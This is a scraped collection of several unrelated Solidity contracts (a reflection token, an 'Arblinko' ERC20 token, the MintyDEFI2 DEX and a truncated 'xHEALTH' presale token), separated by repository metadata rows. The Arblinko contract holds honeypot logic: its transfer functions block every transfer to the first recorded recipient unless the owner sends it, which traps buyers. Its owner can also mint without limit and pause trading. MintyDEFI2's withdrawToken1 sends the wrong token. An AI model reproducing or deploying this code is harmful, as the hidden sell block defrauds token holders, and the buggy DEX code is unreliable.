require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 9000e18 , 'maxTxAmount should be greater than 9000e18');
_maxTxAmount = maxTxAmount;
}
}
| 254,858 | 14,150 |
0d120ba23b75c47fc994d551efe0254947f78fabf98765d6397b45c6542c1fd5
| 22,921 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/51/5137a6f57df85e7dd448660496ba816c0a76acae_Arblinko.sol
| 3,101 | 11,754 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Arblinko is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000000000 * 10**9;
string private _symbol = "ARBI";
string private _name = "ARBI";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 44,734 | 14,151 |
9f1f832fa057f43ef5f4559241610b3c3013561e714cad01831a5c4147b6f412
| 14,104 |
.sol
|
Solidity
| false |
383996750
|
EUBIToken/MintyDEFI2
|
9efc25dc98a111b1e59e16adc7501e17774b9afd
|
MintyDEFI2.sol
| 3,751 | 11,592 |
pragma solidity 0.4.17;
//MintyDEFI2 is optimized for low gas usage and security
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract IERC223 {
function totalSupply() external view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool success);
function transfer(address to, uint value, bytes memory data) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract IERC223MintableBurnable is IERC223{
function mint(address account, uint256 amount) external;
function burn(uint256 _amount) external;
}
contract IMintyDEFI2PairAccount{
function withdrawToken0(address to, uint256 value) external;
function withdrawToken1(address to, uint256 value) external;
}
contract IERC223Recipient {
function tokenFallback(address _from, uint _value, bytes memory _data) public;
}
contract MintyDEFI2PairAccount is IERC223Recipient, IERC223MintableBurnable, IMintyDEFI2PairAccount{
using SafeMath for uint;
uint256 private _totalSupply;
//Using Dexaran's ERC-223 implementation
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
mapping(address => uint) balances; // List of user balances.
function transfer(address _to, uint _value, bytes memory _data) public returns (bool success){
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(isContract(_to)) {
IERC223Recipient receiver = IERC223Recipient(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint _value) public returns (bool success){
require(_to != address(0));
bytes memory empty = hex"00000000";
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(isContract(_to)) {
IERC223Recipient receiver = IERC223Recipient(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value, empty);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
//BEGIN MintyDEFI2 implementation
address private token0;
address private token1;
address private factory;
function tokenFallback(address _from, uint _value, bytes memory _data) public{
require(msg.sender == token0 || msg.sender == token1);
}
function withdrawToken0(address to, uint256 value) external{
require(msg.sender == factory);
require(IERC223(token0).transfer(to, value));
}
function withdrawToken1(address to, uint256 value) external{
require(msg.sender == factory);
require(IERC223(token0).transfer(to, value));
}
function MintyDEFI2PairAccount(address _token0, address _token1) public{
token0 = _token0;
token1 = _token1;
factory = msg.sender;
}
function mint(address account, uint256 amount) external {
require(msg.sender == factory && account != address(0));
balances[account] = balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
if(isContract(account)) {
IERC223Recipient receiver = IERC223Recipient(account);
receiver.tokenFallback(address(0), amount, hex"00000000");
}
Transfer(address(0),account, amount, hex"00000000");
}
function burn(uint256 _amount) external {
balances[msg.sender] = balances[msg.sender].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
Transfer(msg.sender, address(0), _amount, hex"00000000");
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
contract IMintyDEFI2Factory is IERC223Recipient{
function createPair(address tokenA, address tokenB) external;
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) public pure returns (uint amountOut);
function quote(uint amountA, uint reserveA, uint reserveB) public pure returns (uint amountB);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired) external returns (uint amountA, uint amountB);
function safeTransferFrom2(address token, address to, uint amount) public;
function precalculate(address fromToken, address toToken, uint amountIn) external view returns (uint256);
function swap(address fromToken, address toToken, uint amountIn) external;
function getPair(address tokenA, address tokenB) external view returns (address);
event Swap(address indexed sender, address indexed from, address indexed to, uint256 amountIn);
event LiquidityMint(address indexed sender, address indexed tokenA, address indexed tokenB, uint256 liquidity);
event LiquidityBurn(address indexed sender, address indexed tokenA, address indexed tokenB, uint256 liquidity);
}
contract MintyDEFI2Factory is IMintyDEFI2Factory{
using SafeMath for uint256;
mapping (address => mapping (address => address)) private pairAccounts;
mapping (address => address) private Token0;
mapping (address => address) private Token1;
function createPair(address tokenA, address tokenB) external{
require(tokenA != tokenB && tokenA != address(0) && pairAccounts[tokenA][tokenB] == address(0));
address pair;
if(tokenA < tokenB){
pair = new MintyDEFI2PairAccount(tokenA, tokenB);
Token0[pair] = tokenA;
Token1[pair] = tokenB;
} else{
pair = new MintyDEFI2PairAccount(tokenB, tokenA);
Token0[pair] = tokenB;
Token1[pair] = tokenA;
}
pairAccounts[tokenA][tokenB] = pair;
pairAccounts[tokenB][tokenA] = pair;
}
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) public pure returns (uint amountOut) {
require(amountIn > 0);
require(reserveIn > 0 && reserveOut > 0);
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) public pure returns (uint amountB) {
require(amountA > 0);
require(reserveA > 0 && reserveB > 0);
amountB = amountA.mul(reserveB) / reserveA;
}
uint256 private mutex = 1;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired) external returns (uint amountA, uint amountB) {
require(mutex == 1);
mutex = 0;
address pair = pairAccounts[tokenA][tokenB];
uint256 reserveA = 0;
uint256 reserveB = 0;
if(pair == address(0)){
if(tokenA < tokenB){
pair = new MintyDEFI2PairAccount(tokenA, tokenB);
} else{
pair = new MintyDEFI2PairAccount(tokenB, tokenA);
}
(amountA, amountB) = (amountADesired, amountBDesired);
} else{
reserveA = IERC20(tokenA).balanceOf(pair);
reserveB = IERC20(tokenB).balanceOf(pair);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = quote(amountBDesired, reserveB, reserveA);
require(amountAOptimal <= amountADesired);
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
uint256 totalSupply = IERC223(pair).totalSupply();
uint256 liquidity;
if (totalSupply == 0) {
liquidity = amountA.mul(amountB).sqrt().sub(1000);
IERC223MintableBurnable(pair).mint(address(1), 1000);
} else {
liquidity = (amountA.mul(totalSupply) / reserveA).min(amountB.mul(totalSupply) / reserveB);
}
safeTransferFrom2(tokenA, pair, amountA);
safeTransferFrom2(tokenB, pair, amountB);
mutex = 1;
IERC223MintableBurnable(pair).mint(msg.sender, liquidity);
if(tokenA < tokenB){
LiquidityMint(msg.sender, tokenA, tokenB, liquidity);
} else{
LiquidityMint(msg.sender, tokenB, tokenA, liquidity);
}
}
function safeTransferFrom2(address token, address to, uint amount) public{
IERC20 erc20 = IERC20(token);
require(erc20.transferFrom(msg.sender, to, amount));
}
function precalculate(address fromToken, address toToken, uint amountIn) external view returns (uint256){
address pair = pairAccounts[fromToken][toToken];
require(pair != address(0));
return getAmountOut(amountIn, IERC223(fromToken).balanceOf(pair), IERC223(toToken).balanceOf(pair));
}
function swap(address fromToken, address toToken, uint amountIn) external{
require(mutex == 1);
mutex = 0;
address pair = pairAccounts[fromToken][toToken];
require(pair != address(0));
uint256 amountOut = getAmountOut(amountIn, IERC223(fromToken).balanceOf(pair), IERC223(toToken).balanceOf(pair));
safeTransferFrom2(fromToken, pair, amountIn);
if(fromToken < toToken){
IMintyDEFI2PairAccount(pair).withdrawToken0(msg.sender, amountOut);
} else{
IMintyDEFI2PairAccount(pair).withdrawToken1(msg.sender, amountOut);
}
mutex = 1;
}
function tokenFallback(address _from, uint _value, bytes memory _data) public {
require(mutex == 1);
mutex = 0;
address token0 = Token0[msg.sender];
require(token0 != address(0));
address token1 = Token1[msg.sender];
uint totalSupply = IERC223(msg.sender).totalSupply();
require(totalSupply != 0);
IMintyDEFI2PairAccount(msg.sender).withdrawToken0(_from, _value.mul(IERC20(token0).balanceOf(msg.sender)) / totalSupply);
IMintyDEFI2PairAccount(msg.sender).withdrawToken1(_from, _value.mul(IERC20(token1).balanceOf(msg.sender)) / totalSupply);
mutex = 1;
IERC223MintableBurnable(msg.sender).burn(_value);
LiquidityBurn(msg.sender, token0, token1, _value);
}
function getPair(address tokenA, address tokenB) external view returns (address){
return pairAccounts[tokenA][tokenB];
}
}
| 157,116 | 14,152 |
f8d732ea13fc613deb086aae01b67a269ff4c48a35ed9fd61492321042534c02
| 13,870 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8f/8fef94ccd6dd600a3bb7a408b3287e1a0665f428_xHEALTH.sol
| 3,437 | 13,258 |
pragma solidity ^0.8.6;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size; assembly { size := extcodesize(account) } return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
contract xHEALTH is IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
string constant _name = "xHEALTH";
string constant _symbol = "xHEALTH";
uint8 constant _decimals = 18;
uint256 internal _totalSupply = 200000 * (10**18);
bool public isPresale = true;
bool public isInSale = true;
uint256 public pricePerToken = 10;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isInWhitelist;
address private teamWallet = 0x42e8d918fcDCCBeFc860dE058e6D7E60eF4fb6bA;
IERC20 _USDC;
constructor() {
_balances[msg.sender] = _totalSupply;
